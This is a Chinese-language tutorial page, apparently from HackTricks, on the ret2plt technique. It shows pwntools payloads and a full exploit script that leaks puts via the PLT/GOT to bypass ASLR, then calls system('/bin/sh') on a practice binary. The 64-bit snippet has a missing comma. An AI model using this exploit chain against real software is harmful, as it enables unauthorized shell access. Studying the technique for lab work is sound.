Ret2plt

基本信息

这种技术的目标是从PLT中泄漏函数的地址,以便绕过ASLR。这是因为,例如,如果你泄漏了libc中puts函数的地址,你就可以计算出libc的基址,并计算出访问其他函数如**system**的偏移量。

这可以通过pwntools的有效载荷来实现,例如(从这里):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意如何使用 PLT 中 puts 的地址调用,该地址是位于 GOT(全局偏移表)中的 puts 地址。这是因为当 puts 打印 puts 的 GOT 条目时,该条目将包含内存中 puts 的确切地址。

还要注意在利用中使用了 main 的地址,因此当 puts 结束执行时,二进制文件会再次调用 main 而不是退出(因此泄漏的地址将继续有效)。

请注意,为了使此方法有效,二进制文件不能使用 PIE 编译,或者您必须找到一个泄漏以绕过 PIE,以便了解 PLT、GOT 和 main 的地址。否则,您需要首先绕过 PIE。

您可以在此处找到此绕过的完整示例。这是该示例中的最终利用:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

其他示例和参考资料

支持 HackTricks

Last updated